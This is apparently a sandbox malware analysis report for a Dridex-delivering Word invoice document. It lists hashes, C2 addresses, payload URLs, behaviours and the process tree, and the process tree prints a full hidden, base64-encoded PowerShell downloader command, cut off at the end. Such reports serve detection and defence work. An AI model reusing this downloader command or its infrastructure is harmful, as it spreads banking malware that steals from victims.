Analysis
-
max time kernel
71s -
max time network
82s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-12-2020 14:23
Static task
static1
Behavioral task
behavioral1
Sample
Invoice.29002611.doc
Resource
win7v20201028
General
-
Target
Invoice.29002611.doc
-
Size
121KB
-
MD5
25b5fa933bd817640e0667d6c44492ec
-
SHA1
62dea05abf45ffc52c9310a31bae70b595edf301
-
SHA256
4a982207a74a1474f377367f8a55354d45231cad96b3ca24c69be6e833fa5b55
-
SHA512
f638ea0d0d3e0e107b596fff05357748f30237e8228158e7e3bdae653c576a9711fa16d9f3613479a49a20b921d2048364f58b08bc74f0377e33b7d02f0792c5
Malware Config
Extracted
http://urbanwxrld.com/rimwhu.rar
http://www.madmaxswimwear.com/ikkai8.rar
https://nubemp.com.br/navm0jxg.zip
https://sharpec.com/j6pi9eq7.rar
https://miracle-missions.com/rirgclt4b.zip
https://blackbeardrecords.com/jdtts3krp.zip
https://ochaclean.com/x8qaxr55.zip
https://chakanaecu.com/zvh4acz7.rar
Extracted
dridex
10555
169.255.216.36:443
138.201.138.91:3389
89.174.36.41:4643
87.106.89.36:3389
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1320 1176 cmd.exe -
Processes:
resource yara_rule behavioral1/memory/1552-21-0x0000000000370000-0x00000000003AD000-memory.dmp dridex_ldr -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1496 powershell.exe 8 1496 powershell.exe 10 1496 powershell.exe 12 1496 powershell.exe 14 1552 rundll32.exe 15 1552 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 1552 rundll32.exe 1552 rundll32.exe 1552 rundll32.exe 1552 rundll32.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
rundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE -
Modifies registry class 280 IoCs
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\ = "MdcToggleButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}\ = "Pages" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\ = "Controls" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{4C599243-6926-101B-9992-00000B65C6F9}\ = "IImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F}\2.0 WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}\ = "Tabs" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F}\2.0 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}\ = "ImageEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{71F18DAD-47EA-4577-9127-F3008B3C5E9F}\2.0\HELPDIR WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1208 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1496 powershell.exe 1496 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1496 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1208 WINWORD.EXE 1208 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
cmd.exepowershell.exerundll32.exedescription pid process target process PID 1320 wrote to memory of 1220 1320 cmd.exe msg.exe PID 1320 wrote to memory of 1220 1320 cmd.exe msg.exe PID 1320 wrote to memory of 1220 1320 cmd.exe msg.exe PID 1320 wrote to memory of 1496 1320 cmd.exe powershell.exe PID 1320 wrote to memory of 1496 1320 cmd.exe powershell.exe PID 1320 wrote to memory of 1496 1320 cmd.exe powershell.exe PID 1496 wrote to memory of 1680 1496 powershell.exe rundll32.exe PID 1496 wrote to memory of 1680 1496 powershell.exe rundll32.exe PID 1496 wrote to memory of 1680 1496 powershell.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe PID 1680 wrote to memory of 1552 1680 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice.29002611.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAGUAVAAtAGkAVABFAE0AIAAgAHYAYQBSAGkAQQBiAGwARQA6ADkAZwAzACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewAxAH0AewAzAH0AewAyAH0AewAwAH0AIgAtAGYAIAAnAFIAWQAnACwAJwBPAC4ARABJAHIARQAnACwAJwBPACcALAAnAEMAdAAnACwAJwBTAFkAcwBUAEUATQAuAEkAJwApACkAIAA7ACAAIAAkAGoAdgA2AHQAYQA3ACAAIAA9ACAAWwB0AFkAUABFAF0AKAAiAHsAOAB9AHsAMgB9AHsANAB9AHsAMwB9AHsANQB9AHsAMAB9AHsAMQB9AHsANwB9AHsANgB9ACIALQBmACcASQBDAEUAcABvACcALAAnAEkAbgBUACcALAAnAGUATQAuAG4AJwAsACcAcwBlAHIAJwAsACcARQBUAC4AJwAsACcAVgAnACwAJwBHAGUAcgAnACwAJwBNAGEAbgBBACcALAAnAFMAeQBzAFQAJwApADsAIAAkAFMAaQBnADQAMABqAG4APQAoACgAJwBWACcAKwAnAHkANgAnACkAKwAnADQAJwArACgAJwBrACcAKwAnAF8AZgAnACkAKQA7ACQARwBpAHYAbQA0AHQANgA9ACQAQQBlAGEANAAyAGUAYQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAQwBjADYAdwA4ADcAdAA7ACQARAAzAHkAdQBuAGMAcwA9ACgAKAAnAFMAYwBoACcAKwAnAGUAJwApACsAKAAnADAAMgAnACsAJwA3ACcAKQApADsAIAAoACAAZwBDAGkAIABWAGEAUgBpAGEAQgBsAGUAOgA5AEcAMwApAC4AVgBhAGwAdQBFADoAOgAiAEMAcgBlAGAAQQB0AEUARABJAGAAUgBFAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBsAHUAcwAnACsAJwBFACcAKQArACcAZABnACcAKwAoACcAYgAzADQAdQAnACsAJwBsACcAKQArACgAJwB1AHMAJwArACcATQAnACkAKwAoACcANwBrACcAKwAnAG0AJwApACsAKAAnAGUANwBkACcAKwAnAGwAJwApACsAJwB1AHMAJwApACAAIAAtAHIAZQBQAGwAYQBjAEUAIAAgACgAWwBDAGgAQQBSAF0AMQAwADgAKwBbAEMAaABBAFIAXQAxADEANwArAFsAQwBoAEEAUgBdADEAMQA1ACkALABbAEMAaABBAFIAXQA5ADIAKQApADsAJABTAHgAbABfADYAawBkAD0AKAAnAEYANgAnACsAKAAnAHoAOAAnACsAJwBvADMAaAAnACkAKQA7ACAAKABnAGUAVAAtAHYAQQBSAEkAYQBCAGwAZQAgACgAIgBqACIAKwAiAFYANgB0AGEANwAiACkAIAAgAC0AVgBBAGwAVQBlAE8ATgBsAHkAIAApADoAOgAiAHMAYABlAEMAVQByAGAAaQBgAFQAeQBgAFAAUgBPAFQAbwBDAE8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKQA7ACQARAByAHkAcwBtAHcAawA9ACgAKAAnAFAAJwArACcAZQBjAHkAOAA4ACcAKQArACcAbwAnACkAOwAkAEQAeABpAG0AcgBoAGkAIAA9ACAAKAAnAEUAJwArACgAJwBvACcAKwAnADcAawAnACkAKwAoACcAdgB1ACcAKwAnAHQAJwApACkAOwAkAFIAYwBtAHQAbgB3AHMAPQAoACcAVwAnACsAKAAnAGsAXwAnACsAJwBzAGQAbgBlACcAKQApADsAJABJAG0AbgAyAGgAcAB6AD0AKAAoACcATABtADEAJwArACcAYQAnACkAKwAnADcAJwArACcAOQBtACcAKQA7ACQARQA3AHYAaAA3ADgAZgA9ACQASABPAE0ARQArACgAKAAoACcAWAA1AGUARQAnACsAJwBkAGcAYgAnACsAJwAzADQAJwApACsAKAAnAHUAJwArACcAWAA1AGUATQAnACkAKwAoACcANwAnACsAJwBrAG0AJwApACsAKAAnAGUANwAnACsAJwBkAFgAJwApACsAJwA1AGUAJwApAC4AIgByAGUAUABsAGAAQQBgAEMARQAiACgAKABbAEMAaABBAHIAXQA4ADgAKwBbAEMAaABBAHIAXQA1ADMAKwBbAEMAaABBAHIAXQAxADAAMQApACwAJwBcACcAKQApACsAJABEAHgAaQBtAHIAaABpACsAKAAnAC4AJwArACgAJwBkAGwAJwArACcAbAAnACkAKQA7ACQAWQA0ADUAawBrADMAdwA9ACgAKAAnAFAAZQA0ACcAKwAnAHcAJwApACsAKAAnADgAJwArACcANwBqACcAKQApADsAJABBADQANAByAGkAegBjAD0AbgBlAFcALQBvAGAAQgBKAEUAYABjAHQAIABuAEUAdAAuAFcAZQBiAGMATABJAGUATgB0ADsAJABTADUAYQBtAHEAZwB2AD0AKAAoACgAKAAnAGgAJwArACcAdAAnACsAJwB0AHAAOgBKACkAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAnACkAKQArACgAKAAnADIAKQAnACkAKQArACgAKAAnACgAdQByAGIAJwArACcAYQAnACsAJwBuAHcAeAByAGwAJwArACcAZAAuACcAKQApACsAJwBjAG8AJwArACgAKAAnAG0ASgAnACsAJwApACcAKQApACsAKAAoACcAKAAzACcAKQApACsAKAAoACcAcwAnACsAJwAyACkAKAByAGkAJwArACcAbQAnACkAKQArACcAdwBoACcAKwAoACcAdQAuACcAKwAnAHIAJwApACsAJwBhACcAKwAoACgAJwByAEAAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAEoAKQAoADMAcwAyACkAJwApACkAKwAoACgAJwAoAEoAJwApACkAKwAoACgAJwApACgAJwApACkAKwAnADMAcwAnACsAKAAoACcAMgApACgAdwB3AHcAJwArACcALgBtACcAKwAnAGEAZAAnACkAKQArACgAJwBtACcAKwAnAGEAJwArACcAeABzAHcAaQAnACsAJwBtACcAKwAnAHcAZQBhAHIALgBjAG8AJwApACsAKAAoACcAbQAnACsAJwBKACkAJwApACkAKwAoACgAJwAoADMAcwAnACsAJwAyACcAKQApACsAJwApACcAKwAoACgAJwAoAGkAawBrACcAKwAnAGEAJwApACkAKwAoACcAaQA4AC4AJwArACcAcgAnACkAKwAnAGEAcgAnACsAKAAoACcAQABoAHQAdAAnACsAJwBwAHMAJwArACcAOgBKACcAKwAnACkAJwApACkAKwAoACgAJwAoADMAJwArACcAcwAyACkAKAAnACkAKQArACcASgAnACsAKAAoACcAKQAoADMAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoACcAKwAnAG4AJwArACcAdQAnACsAJwBiACcAKwAnAGUAbQBwAC4AYwBvAG0ALgBiAHIASgAnACkAKQArACgAKAAnACkAJwArACcAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAKAAnACsAJwBuAGEAJwApACkAKwAoACcAdgBtADAAJwArACcAagB4ACcAKwAnAGcAJwApACsAJwAuACcAKwAoACcAegAnACsAJwBpAHAAQABoAHQAdABwACcAKQArACgAJwBzADoAJwArACcASgAnACkAKwAoACgAJwApACgAJwApACkAKwAnADMAJwArACgAKAAnAHMAMgApACgASgApACcAKwAnACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKABzAGgAJwArACcAYQAnACkAKQArACcAcgBwACcAKwAoACcAZQBjACcAKwAnAC4AYwBvAG0AJwApACsAKAAoACcASgAnACsAJwApACgAMwBzACcAKwAnADIAKQAoACcAKwAnAGoANgBwACcAKQApACsAKAAnAGkAOQBlAHEANwAnACsAJwAuAHIAYQAnACsAJwByAEAAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAJwBKACcAKwAoACgAJwApACgAMwAnACsAJwBzADIAJwArACcAKQAoACcAKwAnAEoAKQAnACkAKQArACgAJwAoADMAJwArACcAcwAyACkAJwApACsAKAAoACcAKABtACcAKwAnAGkAJwApACkAKwAoACcAcgBhAGMAbAAnACsAJwBlAC0AJwApACsAKAAoACcAbQBpACcAKwAnAHMAcwBpAG8AbgBzACcAKwAnAC4AYwBvACcAKwAnAG0ASgApACgAMwAnACsAJwBzADIAKQAoAHIAJwArACcAaQByAGcAJwApACkAKwAnAGMAJwArACgAKAAnAGwAJwArACcAdAA0AGIALgAnACsAJwB6AGkAJwArACcAcABAAGgAdAB0AHAAcwA6AEoAKQAnACkAKQArACgAJwAoACcAKwAnADMAcwAyACkAKABKACkAJwApACsAJwAoACcAKwAoACgAJwAzAHMAMgApACgAYgBsACcAKwAnAGEAJwArACcAYwBrACcAKQApACsAKAAnAGIAJwArACcAZQBhAHIAJwApACsAJwBkACcAKwAoACcAcgBlACcAKwAnAGMAbwAnACkAKwAoACgAJwByAGQAcwAuACcAKwAnAGMAbwBtAEoAKQAnACsAJwAoADMAJwArACcAcwAyACcAKwAnACkAKABqAGQAdAB0AHMAMwBrACcAKQApACsAKAAnAHIAcAAuACcAKwAnAHoAaQBwACcAKwAnAEAAaAB0AHQAJwArACcAcAAnACkAKwAoACgAJwBzADoASgApACgAMwAnACsAJwBzACcAKwAnADIAKQAoAEoAKQAnACsAJwAoACcAKQApACsAKAAoACcAMwBzADIAKQAoACcAKwAnAG8AYwBoAGEAYwBsAGUAYQBuACcAKwAnAC4AJwApACkAKwAnAGMAbwAnACsAKAAoACcAbQBKACkAJwArACcAKAAzAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKAB4ACcAKwAnADgAcQBhACcAKQApACsAKAAnAHgAcgA1ACcAKwAnADUALgB6AGkAJwArACcAcABAAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAMwBzADIAJwArACcAKQAoACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzACcAKwAnADIAJwApACkAKwAoACgAJwApACcAKwAnACgAYwBoACcAKQApACsAJwBhACcAKwAnAGsAYQAnACsAJwBuACcAKwAoACgAJwBhAGUAYwB1AC4AYwBvAG0AJwArACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoAHoAdgAnACsAJwBoADQAYQAnACkAKQArACgAJwBjAHoAJwArACcANwAuACcAKQArACcAcgBhACcAKwAnAHIAJwApACkALgAiAHIAYABlAFAAbABhAEMARQAiACgAKAAoACcASgAnACsAKAAoACcAKQAnACsAJwAoADMAJwArACcAcwAyACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEcAMwA5AGoAZwAzAHgAIAArACAAJABHAGkAdgBtADQAdAA2ACAAKwAgACQASgBhAGMAYgA4AHMAYwApADsAJABZAHAAdQBrAHQANQA2AD0AKAAoACcAUwAnACsAJwBvAGYAJwApACsAKAAnAGQAJwArACcAeABjAHAAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEkAYgBsAGQAYgA3AG0AIABpAG4AIAAkAFMANQBhAG0AcQBnAHYAIAB8ACAAUwBgAG8AcgB0AGAALQBgAG8AQgBqAEUAQwB0ACAAewBHAGAARQBUAC0AUgBgAEEAbgBgAGQATwBNAH0AK